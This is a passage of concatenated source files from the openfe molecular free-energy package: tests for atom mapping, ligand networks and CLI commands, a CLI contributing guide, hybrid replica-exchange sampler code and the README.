mol_from_smiles def test_simple(atom_mapping_basic_test_files): # basic sanity check on the LigandAtomMapper mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = LomapAtomMapper() mapping_gen = mapper.suggest_mappings(mol1, mol2) mapping = next(mapping_gen) assert isinstance(mapping, openfe.setup.atom_mapping.LigandAtomMapping) # maps (CH3) off methyl and (6C + 5H) on ring assert len(mapping.componentA_to_componentB) == 15 def test_distances(atom_mapping_basic_test_files): # basic sanity check on the LigandAtomMapper mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = LomapAtomMapper() mapping = next(mapper.suggest_mappings(mol1, mol2)) dists = mapping.get_distances() assert len(dists) == len(mapping.componentA_to_componentB) i, j = next(iter(mapping.componentA_to_componentB.items())) ref_d = mol1.to_rdkit().GetConformer().GetAtomPosition(i).Distance( mol2.to_rdkit().GetConformer().GetAtomPosition(j) ) assert pytest.approx(dists[0], rel=1e-5) == ref_d assert pytest.approx(dists[0], rel=1e-5) == 0.07249779 def test_generator_length(atom_mapping_basic_test_files): # check that we get one mapping back from Lomap LigandAtomMapper then the # generator stops correctly mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = LomapAtomMapper() mapping_gen = mapper.suggest_mappings(mol1, mol2) _ = next(mapping_gen) with pytest.raises(StopIteration): next(mapping_gen) def test_bad_mapping(atom_mapping_basic_test_files): toluene = atom_mapping_basic_test_files['toluene'] NigelTheNitrogen = SmallMoleculeComponent(mol_from_smiles('N'), name='Nigel') mapper = LomapAtomMapper() mapping_gen = mapper.suggest_mappings(toluene, NigelTheNitrogen) with pytest.raises(StopIteration): next(mapping_gen) # TODO: Remvoe these test when element changes are allowed - START def test_simple_no_element_changes(atom_mapping_basic_test_files): # basic sanity check on the LigandAtomMapper mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = LomapAtomMapper() mapper._no_element_changes = True mapping_gen = mapper.suggest_mappings(mol1, mol2) mapping = next(mapping_gen) assert isinstance(mapping, openfe.setup.atom_mapping.LigandAtomMapping) # maps (CH3) off methyl and (6C + 5H) on ring assert len(mapping.componentA_to_componentB) == 15 def test_bas_mapping_no_element_changes(atom_mapping_basic_test_files): toluene = atom_mapping_basic_test_files['toluene'] NigelTheNitrogen = SmallMoleculeComponent(mol_from_smiles('N'), name='Nigel') mapper = LomapAtomMapper() mapper._no_element_changes = True mapping_gen = mapper.suggest_mappings(toluene, NigelTheNitrogen) with pytest.raises(StopIteration): next(mapping_gen) # TODO: Remvoe these test when element changes are allowed - END <file_sep># Contributing CLI Subcommands Adding a new subcommand to the `openfe` CLI is pretty straightforward, but there are some best practices that will make your contribution easier to maintain. ## How the CLI finds subcommands Subcommands are registered with the CLI based on the existence of an instance of `CommandPlugin` in modules located in particular directories or namespaces. This means that after you create the command function, you need to wrap it in a `CommandPlugin`, which must be assigned to a variable name. The variable name itself is unimportant (I usually use `PLUGIN`). It's perfectly fine to include more than one plugin in the same file, but the each must have a different variable name. The allowed locations for command plugins may change, but currently includes: * modules located in the namespace `openfecli.commands` When contributing to the core CLI, all you need to do is add your subcommand module to the `openfecli/commands/` directory, and the CLI should register it automatically. ## Best practices ### The CLI should be a thin wrapper around the library The intent of the CLI is to provide convenient ways of accomplishing things that can also be accomplished with the core library. This means that CLI commands should be thin wrappers that either just call a method from the core library, or run a very simple workflow based on methods from the core library. If you find that your CLI command starts to have some more complex logic, this probably means that some of that logic would be beneficial to users of the library as well. Consider moving that code into the core library. This also implies that we can split any CLI subcommand into two stages: 1. Convert from user input to objects that have meaning to the library. 2. Run some code as if we were users of the library, with no reference to the fact that the inputs came from the command line. ### Divide the subcommand module into three components The recommended way of structuring a subcommand module is to split it into three parts (where `command` is replaced by the name of your subcommand): 1. `command`: The command method, which is decorated by `@click.command`. The purpose of this method is to convert user input to objects that can be used by the core library. Then it calls the `command_main` method. 2. `command_main`: The workflow method, which is written using code from the underlying library, with no reference to the fact that this is part of the CLI. This typically contains a very simple workflow script. Although the output from this process is usually saved to some output file as part of the script in `command_main`, the best practice is to also return the result of this method. The `command` method will ignore this return value, but returning it makes it so that the `command_main` method can be reused in other CLI commands to create more complex workflows. 3. `PLUGIN`: a `CommandPlugin` instance, which wraps the `command` object with metadata about the subcommand, such as which help section to display it in, and which versions of the library and CLI the plugin is compatible with. As an example, here's a rough skeleton for a subcommand called `my_command` (imports excluded) ```python @click.command("my_command", short_help="This is my command") ... # add decorators for arguments/options def my_command(...): # input params are based on arguments options """Docstring here is the help given by ``openfe my-command --help``""" ... # do whatever you need to convert the user input to library objects my_command_main(...) # takes library objects def my_command_main(...): # takes library objects ... # run some simple library code return result PLUGIN = CommandPlugin( command=my_command, section="My Section", requires_lib=(1, 0), requires_cli=(1, 0) ) ``` ### Use reusable subcommand arguments/options In `click`, command-line arguments and options are declared by attaching decorators for each option to a method. The method must then take parameters based on the option name as specified by the decorator. Because of this, it is straightforward to create an object associated with a given input option/argument, which contains details such as the help string and even a method to get a library object from the user input string. The best practice is to create this object outside a given subcommand, and then reuse it between different subcommands. This ensures that the user sees consistency in the interface and behavior between different CLI subcommands. Details on how we'll do this in OpenFE are still being developed. ### Delay slow imports Usually in Python, we put all imports at the top of a file. That is the best practice for libraries and scripts, because it makes it easy for a developer to find dependencies, and helps prevent developers from repeating import statements. However, when dealing with a CLI script like this, it's important to remember that some user interactions, such as subcommand autocomplete or enquiring about the CLI with `--version` or `--help`, will also run any top-level imports. If imports are slow, then these user-facing interactions will be slow. Because of this, the best practice when writing CLI subcommands is to move slow imports inside the method that needs them. ### Testing your subcommand Dividing the subcommand as recommended above facilitates testing. When testing the `command` method itself, mock out the `command_main`, and use tools within `click` to mock the user command inputs. The purpose of testing the `command` method is to ensure that you correctly convert from user input to library object. The purpose of testing the `command_main` method is to ensure that integration with the library works. If this is truly a thin wrapper (and with the assumption that the core library is thoroughly tested), then a smoke test may be sufficient for `command_main`. <file_sep>from typing import Iterable, NamedTuple import pytest from openfe import SmallMoleculeComponent, LigandNetwork, LigandAtomMapping from rdkit import Chem from networkx import NetworkXError from ..conftest import mol_from_smiles class _NetworkTestContainer(NamedTuple): """Container to facilitate network testing""" network: LigandNetwork nodes: Iterable[SmallMoleculeComponent] edges: Iterable[LigandAtomMapping] n_nodes: int n_edges: int @pytest.fixture def mols(): mol1 = SmallMoleculeComponent(mol_from_smiles("CCO")) mol2 = SmallMoleculeComponent(mol_from_smiles("CC")) mol3 = SmallMoleculeComponent(mol_from_smiles("CO")) return mol1, mol2, mol3 @pytest.fixture def std_edges(mols): mol1, mol2, mol3 = mols edge12 = LigandAtomMapping(mol1, mol2, {0: 0, 1: 1}) edge23 = LigandAtomMapping(mol2, mol3, {0: 0}) edge13 = LigandAtomMapping(mol1, mol3, {0: 0, 2: 1}) return edge12, edge23, edge13 @pytest.fixture def simple_network(mols, std_edges): """Network with no edges duplicated and all nodes in edges""" network = LigandNetwork(std_edges) return _NetworkTestContainer( network=network, nodes=mols, edges=std_edges, n_nodes=3, n_edges=3, ) @pytest.fixture def doubled_edge_network(mols, std_edges): """Network with more than one edge associated with a node pair""" mol1, mol2, mol3 = mols extra_edge = LigandAtomMapping(mol1, mol3, {0: 0, 1: 1}) edges = list(std_edges) + [extra_edge] return _NetworkTestContainer( network=LigandNetwork(edges), nodes=mols, edges=edges, n_nodes=3, n_edges=4, ) @pytest.fixture def singleton_node_network(mols, std_edges): """Network with nodes not included in any edges""" extra_mol = SmallMoleculeComponent(mol_from_smiles("CCC")) all_mols = list(mols) + [extra_mol] return _NetworkTestContainer( network=LigandNetwork(edges=std_edges, nodes=all_mols), nodes=all_mols, edges=std_edges, n_nodes=4, n_edges=3, ) @pytest.fixture(params=['simple', 'doubled_edge', 'singleton_node']) def network_container( request, simple_network, doubled_edge_network, singleton_node_network, ): """Fixture to allow parameterization of the network test""" network_dct = { 'simple': simple_network, 'doubled_edge': doubled_edge_network, 'singleton_node': singleton_node_network, } return network_dct[request.param] class TestNetwork: def test_node_type(self, network_container): n = network_container.network assert all((isinstance(node, SmallMoleculeComponent) for node in n.nodes)) def test_graph(self, network_container): # The NetworkX graph that comes from the ``.graph`` property should # have nodes and edges that match the Network container object. graph = network_container.network.graph assert len(graph.nodes) == network_container.n_nodes assert set(graph.nodes) == set(network_container.nodes) assert len(graph.edges) == network_container.n_edges # extract the AtomMappings from the nx edges mappings = [ atommapping for _, _, atommapping in graph.edges.data('object') ] assert set(mappings) == set(network_container.edges) # ensure LigandAtomMapping stored in nx edge is consistent with nx edge for mol1, mol2, atommapping in graph.edges.data('object'): assert atommapping.componentA == mol1 assert atommapping.componentB == mol2 def test_graph_annotations(self, mols, std_edges): mol1, mol2, mol3 = mols edge12, edge23, edge13 = std_edges annotated = edge12.with_annotations({'foo': 'bar'}) network = LigandNetwork([annotated, edge23, edge13]) assert network.graph[mol1][mol2][0]['foo'] == 'bar' def test_graph_immutability(self, mols, network_container): # The NetworkX graph that comes from that ``.graph`` property should # be immutable. graph = network_container.network.graph mol = SmallMoleculeComponent(mol_from_smiles("CCCC")) mol_CC = mols[1] edge = LigandAtomMapping(mol, mol_CC, {1: 0, 2: 1}) with pytest.raises(NetworkXError, match="Frozen graph"): graph.add_node(mol) with pytest.raises(NetworkXError, match="Frozen graph"): graph.add_edge(edge) def test_nodes(self, network_container): # The nodes reported by a ``Network`` should match expectations for # that network. network = network_container.network assert len(network.nodes) == network_container.n_nodes assert set(network.nodes) == set(network_container.nodes) def test_edges(self, network_container): # The edges reported by a ``Network`` should match expectations for # that network. network = network_container.network assert len(network.edges) == network_container.n_edges assert set(network.edges) == set(network_container.edges) def test_enlarge_graph_add_nodes(self, simple_network): # New nodes added via ``enlarge_graph`` should exist in the newly # created network new_mol = SmallMoleculeComponent(mol_from_smiles("CCCC")) network = simple_network.network new_network = network.enlarge_graph(nodes=[new_mol]) assert new_network is not network assert new_mol not in network.nodes assert new_mol in new_network.nodes assert len(new_network.nodes) == len(network.nodes) + 1 assert set(new_network.edges) == set(network.edges) def test_enlarge_graph_add_edges(self, mols, simple_network): # New edges added via ``enlarge_graph`` should exist in the newly # created network mol1, _, mol3 = mols extra_edge = LigandAtomMapping(mol1, mol3, {0: 0, 1: 1}) network = simple_network.network new_network = network.enlarge_graph(edges=[extra_edge]) assert new_network is not network assert extra_edge not in network.edges assert extra_edge in new_network.edges assert len(new_network.edges) == len(network.edges) + 1 assert set(new_network.nodes) == set(network.nodes) def test_enlarge_graph_add_edges_new_nodes(self, mols, simple_network): # New nodes included implicitly by edges added in ``enlarge_graph`` # should exist in the newly created network new_mol = SmallMoleculeComponent(mol_from_smiles("CCCC")) mol_CC = mols[1] extra_edge = LigandAtomMapping(new_mol, mol_CC, {1: 0, 2: 1}) network = simple_network.network new_network = network.enlarge_graph(edges=[extra_edge]) assert new_network is not network assert extra_edge not in network.edges assert extra_edge in new_network.edges assert new_mol not in network.nodes assert new_mol in new_network.nodes assert len(new_network.edges) == len(network.edges) + 1 assert len(new_network.nodes) == len(network.nodes) + 1 def test_enlarge_graph_add_duplicate_node(self, simple_network): # Adding a duplicate of an existing node should create a new network # with the same edges and nodes as the previous one. duplicate = SmallMoleculeComponent(mol_from_smiles("CC")) network = simple_network.network existing = network.nodes assert duplicate in existing # matches by == new_network = network.enlarge_graph(nodes=[duplicate]) assert len(new_network.nodes) == len(network.nodes) assert set(new_network.nodes) == set(network.nodes) assert len(new_network.edges) == len(network.edges) assert set(new_network.edges) == set(network.edges) def test_enlarge_graph_add_duplicate_edge(self, mols, simple_network): # Adding a duplicate of an existing edge should create a new network # with the same edges and nodes as the previous one. mol1, _, mol3 = mols duplicate = LigandAtomMapping(mol1, mol3, {0: 0, 2: 1}) network = simple_network.network existing = network.edges assert duplicate in existing # matches by == assert any(duplicate is edge for edge in existing) # one edge *is* the duplicate new_network = network.enlarge_graph(edges=[duplicate]) assert len(new_network.nodes) == len(network.nodes) assert set(new_network.nodes) == set(network.nodes) assert len(new_network.edges) == len(network.edges) assert set(new_network.edges) == set(network.edges) def test_serialization_cycle(self, simple_network): network = simple_network.network serialized = network.to_graphml() deserialized = LigandNetwork.from_graphml(serialized) reserialized = deserialized.to_graphml() assert serialized == reserialized assert network == deserialized def test_to_graphml(self, simple_network, serialization_template): expected = serialization_template("network_template.graphml") assert simple_network.network.to_graphml() + "\n" == expected def test_from_graphml(self, simple_network, serialization_template): contents = serialization_template("network_template.graphml") assert LigandNetwork.from_graphml(contents) == simple_network.network <file_sep>import pytest from openfecli.parameters.output import get_file_and_extension @pytest.mark.parametrize("fname,expected_ext", [ ("foo.bar", "bar"), ("foo.bar.bz", "bz"), ]) def test_get_file_and_extension(tmpdir, fname, expected_ext): with open(tmpdir / fname, mode='w') as file: outfile, ext = get_file_and_extension(file, {}) assert outfile is file assert ext == expected_ext <file_sep>############################################################################# # HYBRID SYSTEM SAMPLERS ############################################################################# """ This is adapted from Perses: https://github.com/choderalab/perses/ See here for the license: https://github.com/choderalab/perses/blob/main/LICENSE """ import copy import warnings import logging import numpy as np import openmm from openmm import unit from openmmtools.multistate import replicaexchange, sams, multistatesampler from openmmtools import cache import openmmtools.states as states from openmmtools.states import (CompoundThermodynamicState, SamplerState, ThermodynamicState) from openmmtools.integrators import FIREMinimizationIntegrator from .lambdaprotocol import RelativeAlchemicalState logger = logging.getLogger(__name__) class HybridCompatibilityMixin(object): """ Mixin that allows the MultistateSampler to accommodate the situation where unsampled endpoints have a different number of degrees of freedom. """ def __init__(self, *args, hybrid_factory=None, **kwargs): self._hybrid_factory = hybrid_factory super(HybridCompatibilityMixin, self).__init__(*args, **kwargs) def setup(self, reporter, lambda_protocol, temperature=298.15 * unit.kelvin, n_replicas=None, endstates=True, minimization_steps=100, minimization_platform="CPU"): """ Setup MultistateSampler based on the input lambda protocol and number of replicas. Parameters ---------- reporter : OpenMM reporter Simulation reporter to attach to each simulation replica. lambda_protocol : LambdaProtocol The lambda protocol to be used for simulation. Default to a default class creation of LambdaProtocol. temperature : openmm.Quantity Simulation temperature, default to 298.15 K n_replicas : int Number of replicas to simulate. Sets to the number of lambda states (as defined by lambda_protocol) if ``None``. Default ``None``. endstates : bool Whether or not to generate unsampled endstates (i.e. dispersion correction). minimization_steps : int Number of steps to pre-minimize states. minimization_platform : str Platform to do the initial pre-minimization with. Attributes ---------- n_states : int Number of states / windows which are to be sampled. Obtained from lambda_protocol. """ n_states = len(lambda_protocol.lambda_schedule) hybrid_system = self._factory.hybrid_system lambda_zero_state = RelativeAlchemicalState.from_system(hybrid_system) thermostate = ThermodynamicState(hybrid_system, temperature=temperature) compound_thermostate = CompoundThermodynamicState( thermostate, composable_states=[lambda_zero_state]) # create lists for storing thermostates and sampler states thermodynamic_state_list = [] sampler_state_list = [] if n_replicas is None: msg = (f"setting number of replicas to number of states: {n_states}") warnings.warn(msg) n_replicas = n_states elif n_replicas > n_states: wmsg = (f"More sampler states: {n_replicas} requested than the " f"number of available states: {n_states}. Setting " "the number of replicas to the number of states") warnings.warn(wmsg) n_replicas = n_states lambda_schedule = lambda_protocol.lambda_schedule if len(lambda_schedule) != n_states: errmsg = ("length of lambda_schedule must match the number of " "states, n_states") raise ValueError(errmsg) # starting with the hybrid factory positions box = hybrid_system.getDefaultPeriodicBoxVectors() sampler_state = SamplerState(self._factory.hybrid_positions, box_vectors=box) # Loop over the lambdas and create & store a compound thermostate at # that lambda value for lambda_val in lambda_schedule: compound_thermostate_copy = copy.deepcopy(compound_thermostate) compound_thermostate_copy.set_alchemical_parameters( lambda_val, lambda_protocol) thermodynamic_state_list.append(compound_thermostate_copy) # now generating a sampler_state for each thermodyanmic state, # with relaxed positions # Note: remove once choderalab/openmmtools#672 is completed minimize(compound_thermostate_copy, sampler_state, max_iterations=minimization_steps, platform_name=minimization_platform) sampler_state_list.append(copy.deepcopy(sampler_state)) del compound_thermostate, sampler_state # making sure number of sampler states equals n_replicas if len(sampler_state_list) != n_replicas: # picking roughly evenly spaced sampler states # if n_replicas == 1, then it will pick the first in the list samples = np.linspace(0, len(sampler_state_list) - 1, n_replicas) idx = np.round(samples).astype(int) sampler_state_list = [state for i, state in enumerate(sampler_state_list) if i in idx] assert len(sampler_state_list) == n_replicas if endstates: # generating unsampled endstates unsampled_dispersion_endstates = create_endstates( copy.deepcopy(thermodynamic_state_list[0]), copy.deepcopy(thermodynamic_state_list[-1])) self.create(thermodynamic_states=thermodynamic_state_list, sampler_states=sampler_state_list, storage=reporter, unsampled_thermodynamic_states=unsampled_dispersion_endstates) else: self.create(thermodynamic_states=thermodynamic_state_list, sampler_states=sampler_state_list, storage=reporter) class HybridRepexSampler(HybridCompatibilityMixin, replicaexchange.ReplicaExchangeSampler): """ ReplicaExchangeSampler that supports unsampled end states with a different number of positions """ def __init__(self, *args, hybrid_factory=None, **kwargs): super(HybridRepexSampler, self).__init__( *args, hybrid_factory=hybrid_factory, **kwargs) self._factory = hybrid_factory class HybridSAMSSampler(HybridCompatibilityMixin, sams.SAMSSampler): """ SAMSSampler that supports unsampled end states with a different number of positions """ def __init__(self, *args, hybrid_factory=None, **kwargs): super(HybridSAMSSampler, self).__init__( *args, hybrid_factory=hybrid_factory, **kwargs ) self._factory = hybrid_factory class HybridMultiStateSampler(HybridCompatibilityMixin, multistatesampler.MultiStateSampler): """ MultiStateSampler that supports unsample end states with a different number of positions """ def __init__(self, *args, hybrid_factory=None, **kwargs): super(HybridMultiStateSampler, self).__init__( *args, hybrid_factory=hybrid_factory, **kwargs ) self._factory = hybrid_factory def create_endstates(first_thermostate, last_thermostate): """ Utility function to generate unsampled endstates 1. Move all alchemical atom LJ parameters from CustomNonbondedForce to NonbondedForce. 2. Delete the CustomNonbondedForce. 3. Set PME tolerance to 1e-5. 4. Enable LJPME to handle long range dispersion corrections in a physically reasonable manner. Parameters ---------- first_thermostate : openmmtools.states.CompoundThermodynamicState The first thermodynamic state for which an unsampled endstate will be created. last_thermostate : openmmtools.states.CompoundThermodynamicState The last thermodynamic state for which an unsampled endstate will be created. Returns ------- unsampled_endstates : list of openmmtools.states.CompoundThermodynamicState The corrected unsampled endstates. """ unsampled_endstates = [] for master_lambda, endstate in zip([0., 1.], [first_thermostate, last_thermostate]): dispersion_system = endstate.get_system() energy_unit = unit.kilocalories_per_mole # Find the NonbondedForce (there must be only one) forces = {force.__class__.__name__: force for force in dispersion_system.getForces()} # Set NonbondedForce to use LJPME ljpme = openmm.NonbondedForce.LJPME forces['NonbondedForce'].setNonbondedMethod(ljpme) # Set tight PME tolerance TIGHT_PME_TOLERANCE = 1.0e-5 forces['NonbondedForce'].setEwaldErrorTolerance(TIGHT_PME_TOLERANCE) # Move alchemical LJ sites from CustomNonbondedForce back to # NonbondedForce for particle_index in range(forces['NonbondedForce'].getNumParticles()): charge, sigma, epsilon = forces['NonbondedForce'].getParticleParameters(particle_index) sigmaA, epsilonA, sigmaB, epsilonB, unique_old, unique_new = forces['CustomNonbondedForce'].getParticleParameters(particle_index) if (epsilon/energy_unit == 0.0) and ((epsilonA > 0.0) or (epsilonB > 0.0)): sigma = (1-master_lambda)*sigmaA + master_lambda*sigmaB epsilon = (1-master_lambda)*epsilonA + master_lambda*epsilonB forces['NonbondedForce'].setParticleParameters( particle_index, charge, sigma, epsilon) # Delete the CustomNonbondedForce since we have moved all alchemical # particles out of it for force_index, force in enumerate(list(dispersion_system.getForces())): if force.__class__.__name__ == 'CustomNonbondedForce': custom_nonbonded_force_index = force_index break dispersion_system.removeForce(custom_nonbonded_force_index) # Set all parameters to master lambda for force_index, force in enumerate(list(dispersion_system.getForces())): if hasattr(force, 'getNumGlobalParameters'): for parameter_index in range(force.getNumGlobalParameters()): if force.getGlobalParameterName(parameter_index)[0:7] == 'lambda_': force.setGlobalParameterDefaultValue(parameter_index, master_lambda) # Store the unsampled endstate unsampled_endstates.append(ThermodynamicState( dispersion_system, temperature=endstate.temperature)) return unsampled_endstates def minimize(thermodynamic_state: states.ThermodynamicState, sampler_state: states.SamplerState, max_iterations: int=100, platform_name: str="CPU") -> states.SamplerState: """ Adapted from perses.dispersed.feptasks.minimize Minimize the given system and state, up to a maximum number of steps. This does not return a copy of the samplerstate; it is an update-in-place. Parameters ---------- thermodynamic_state : openmmtools.states.ThermodynamicState The state at which the system could be minimized sampler_state : openmmtools.states.SamplerState The starting state at which to minimize the system. max_iterations : int, optional, default 100 The maximum number of minimization steps. Default is 100. platform_name : str The OpenMM platform name to carry out the minimization with. Returns ------- sampler_state : openmmtools.states.SamplerState The posititions and accompanying state following minimization """ # we won't take any steps, so use a simple integrator integrator = openmm.VerletIntegrator(1.0) platform = openmm.Platform.getPlatformByName(platform_name) dummy_cache = cache.DummyContextCache(platform=platform) context, integrator = dummy_cache.get_context( thermodynamic_state, integrator ) try: sampler_state.apply_to_context( context, ignore_velocities=True ) openmm.LocalEnergyMinimizer.minimize( context, maxIterations=max_iterations ) sampler_state.update_from_context(context) finally: del context, integrator, dummy_cache <file_sep>[![Logo](https://img.shields.io/badge/OSMF-OpenFreeEnergy-%23002f4a)](https://openfree.energy/) [![build](https://github.com/OpenFreeEnergy/openfe/actions/workflows/ci.yaml/badge.svg)](https://github.com/OpenFreeEnergy/openfe/actions/workflows/ci.yaml) [![coverage](https://codecov.io/gh/OpenFreeEnergy/openfe/branch/main/graph/badge.svg)](https://codecov.io/gh/OpenFreeEnergy/openfe) [![documentation](https://readthedocs.org/projects/openfe/badge/?version=latest)](https://openfe.readthedocs.io/en/latest/?badge=latest) # `openfe` - A Python package for executing alchemical free energy calculations. The `openfe` package is the flagship project of [Open Free Energy](https://openfree.energy), a pre competitive consortium aiming to provide robust, permissively licensed open source tools for molecular simulation in the drug discovery field. Using `openfe` you can easily plan and execute alchemical free energy calculations. See our [website](https://openfree.energy/) for more information, or [try for yourself](https://try.openfree.energy) from the comfort of your browser. ## License This library is made available under the [MIT](https://opensource.org/licenses/MIT) open source license. ## Important note This is pre-alpha work, it should not be considered ready for production and API changes are expected at any time without prior warning. ## Install ### Latest release The latest release of `openfe` can be installed via `mamba`, `docker`, or a `single file installer`. See [our installation instructions](https://docs.openfree.energy/en/stable/installation.html) for more details. Dependencies can be installed via conda through: ### Developement version The development version of `openfe` can be installed directly from the `main` branch of this repository. First install the package dependencies using `mamba`: ```bash mamba env create -f environment.yml ``` The openfe library can then be installed via: ``` python -m pip install --no-deps . ``` ## Authors The OpenFE development team. ## Acknowledgements OpenFE is an [Open Molecular Software Foundation](https://omsf.io/) hosted project. <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from plugcli.params import MultiStrategyGetter, Option, NOT_PARSED def _load_protein_from_pdb(user_input, context): if ".pdb" not in str(user_input): # this silences some stderr spam return NOT_PARSED from gufe import ProteinComponent try: return ProteinComponent.from_pdb_file(user_input) except ValueError: # any exception should try other strategies return NOT_PARSED def _load_protein_from_pdbx(user_input, context): if not any([ext in str(user_input) for ext in [".pdb", ".cif", ".pdbx"]]): # this silences some stderr spam return NOT_PARSED from gufe import ProteinComponent try: return ProteinComponent.from_pdbx_file(user_input) except ValueError: # any exception should try other strategies return NOT_PARSED get_molecule = MultiStrategyGetter( strategies=[ _load_protein_from_pdb, _load_protein_from_pdbx, ], error_message="Unable to generate a molecule from '{user_input}'.", ) PROTEIN = Option( "-p", "--protein", help=( "ProteinComponent. Can be provided as an PDB or as a PDBx/mmCIF file. " " string." ), getter=get_molecule, ) <file_sep>from unittest import mock import pytest import click from click.testing import CliRunner from openfe.setup import LigandAtomMapping, LomapAtomMapper from openfecli.parameters import MOL from openfecli.commands.atommapping import ( atommapping, generate_mapping, atommapping_print_dict_main, atommapping_visualize_main ) @pytest.fixture def molA_args(): return ["--mol", "Cc1ccccc1"] @pytest.fixture def molB_args(): return ["--mol", "CC1CCCCC1"] @pytest.fixture def mapper_args(): return ["--mapper", "LomapAtomMapper"] @pytest.fixture def mols(molA_args, molB_args): return MOL.get(molA_args[1]), MOL.get(molB_args[1]) def print_test(mapper, molA, molB): print(molA.smiles) print(molB.smiles) print(mapper.__class__.__name__) def print_test_with_file(mapper, molA, molB, file, ext): print_test(mapper, molA, molB) print(file.name) print(ext) @pytest.mark.parametrize('with_file', [True, False]) def test_atommapping(molA_args, molB_args, mapper_args, with_file): # Patch out the main function with a simple function to output # information about the objects we pass to the main; test the output of # that using tools from click. This tests the creation of objects from # user input on the command line. args = molA_args + molB_args + mapper_args expected_output = (f"{molA_args[1]}\n{molB_args[1]}\n" f"{mapper_args[1]}\n") patch_base = "openfecli.commands.atommapping." if with_file: args += ["-o", "myfile.png"] expected_output += "myfile.png\npng\n" patch_loc = patch_base + "atommapping_visualize_main" patch_func = print_test_with_file else: patch_loc = patch_base + "atommapping_print_dict_main" patch_func = print_test runner = CliRunner() with mock.patch(patch_loc, patch_func): with runner.isolated_filesystem(): result = runner.invoke(atommapping, args) assert result.exit_code == 0 assert result.output == expected_output def test_atommapping_bad_number_of_mols(molA_args, mapper_args): runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(atommapping, molA_args + mapper_args) assert result.exit_code == click.BadParameter.exit_code assert "exactly twice" in result.output def test_atommapping_missing_mapper(molA_args, molB_args): runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(atommapping, molA_args + molB_args) assert result.exit_code == click.BadParameter.exit_code assert "Missing option '--mapper'" in result.output @pytest.mark.parametrize('n_mappings', [0, 1, 2]) def test_generate_mapping(n_mappings, mols): molA, molB, = mols mappings = [ LigandAtomMapping(molA, molB, {i: i for i in range(7)}), LigandAtomMapping(molA, molB, {i: (i + 1) % 7 for i in range(7)}), ] mapper = mock.Mock( suggest_mappings=mock.Mock(return_value=mappings[:n_mappings]) ) if n_mappings == 1: assert generate_mapping(mapper, molA, molB) == mappings[0] else: with pytest.raises(click.UsageError, match="exactly 1 mapping"): generate_mapping(mapper, molA, molB) def test_atommapping_print_dict_main(capsys, mols): molA, molB = mols mapper = LomapAtomMapper mapping = LigandAtomMapping(molA, molB, {i: i for i in range(7)}) with mock.patch('openfecli.commands.atommapping.generate_mapping', mock.Mock(return_value=mapping)): atommapping_print_dict_main(mapper, molA, molB) captured = capsys.readouterr() assert captured.out == str(mapping.componentA_to_componentB) + "\n" def test_atommapping_visualize_main(mols, tmpdir): molA, molB = mols mapper = LomapAtomMapper pytest.skip() # TODO: probably with a smoke test def test_atommapping_visualize_main_bad_extension(mols, tmpdir): molA, molB = mols mapper = LomapAtomMapper mapping = LigandAtomMapping(molA, molB, {i: i for i in range(7)}) with mock.patch('openfecli.commands.atommapping.generate_mapping', mock.Mock(return_value=mapping)): with open(tmpdir / "foo.bar", mode='w') as f: with pytest.raises(click.BadParameter, match="Unknown file format"): atommapping_visualize_main(mapper, molA, molB, f, "bar") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pathlib import logging import logging.config import click from plugcli.cli import CLI, CONTEXT_SETTINGS from plugcli.plugin_management import FilePluginLoader import openfecli from openfecli.plugins import OFECommandPlugin class OpenFECLI(CLI): # COMMAND_SECTIONS = ["Setup", "Simulation", "Orchestration", "Analysis"] COMMAND_SECTIONS = ["Network Planning", "Quickrun Executor", "Miscellaneous"] def get_loaders(self): commands = str(pathlib.Path(__file__).parent.resolve() / "commands") loader = FilePluginLoader(commands, OFECommandPlugin) return [loader] def get_installed_plugins(self): loader = self.get_loaders()[0] return list(loader()) _MAIN_HELP = """ This is the command line tool to provide easy access to functionality from the OpenFE Python library. """ @click.command(cls=OpenFECLI, name="openfe", help=_MAIN_HELP, context_settings=CONTEXT_SETTINGS) @click.version_option(version=openfecli.__version__) @click.option('--log', type=click.Path(exists=True, readable=True), help="logging configuration file") def main(log): # Subcommand runs after this is processed. # set logging if provided if log: logging.config.fileConfig(log, disable_existing_loggers=False) if __name__ == "__main__": # -no-cov- (useful in debugging) main() <file_sep>""" Write out the file that is used to test the quickrun command. This will need to be run if the serialized transformation changes such that the old file can't be read. USAGE: python write_transformation_json.py ../data/ (Assuming you run from within this directory.) """ import gufe import openfe import json import argparse import pathlib from gufe.tests.conftest import benzene_modifications from gufe.tests.test_protocol import DummyProtocol, BrokenProtocol from gufe.tokenization import JSON_HANDLER parser = argparse.ArgumentParser() parser.add_argument('directory') opts = parser.parse_args() directory = pathlib.Path(opts.directory) if not directory.exists() and directory.is_dir(): raise ValueError(f"Bad parameter for directory: {directory}") benzene_modifications = benzene_modifications.__pytest_wrapped__.obj() benzene = gufe.SmallMoleculeComponent.from_rdkit(benzene_modifications['benzene']) toluene = gufe.SmallMoleculeComponent.from_rdkit(benzene_modifications['toluene']) solvent = gufe.SolventComponent(positive_ion="K", negative_ion="Cl") benz_dict = {'ligand': benzene} tol_dict = {'ligand': toluene} solv_dict = {'solvent': solvent} solv_benz = gufe.ChemicalSystem(dict(**benz_dict, **solv_dict)) solv_tol = gufe.ChemicalSystem(dict(**tol_dict, **solv_dict)) mapper = openfe.setup.LomapAtomMapper() mapping = list(mapper.suggest_mappings(benzene, toluene))[0] protocol = DummyProtocol(settings=DummyProtocol.default_settings()) transformation = gufe.Transformation(solv_benz, solv_tol, protocol, mapping) bad_protocol = BrokenProtocol(settings=BrokenProtocol.default_settings()) bad_transformation = gufe.Transformation(solv_benz, solv_tol, bad_protocol, mapping) transformation.dump(directory / "transformation.json") bad_transformation.dump(directory / "bad_transformation.json") <file_sep>import click from openfecli import OFECommandPlugin @click.command( "view-ligand-network", short_help="Visualize a ligand network" ) @click.argument( "ligand-network", type=click.Path(exists=True, readable=True, dir_okay=False, file_okay=True), ) def 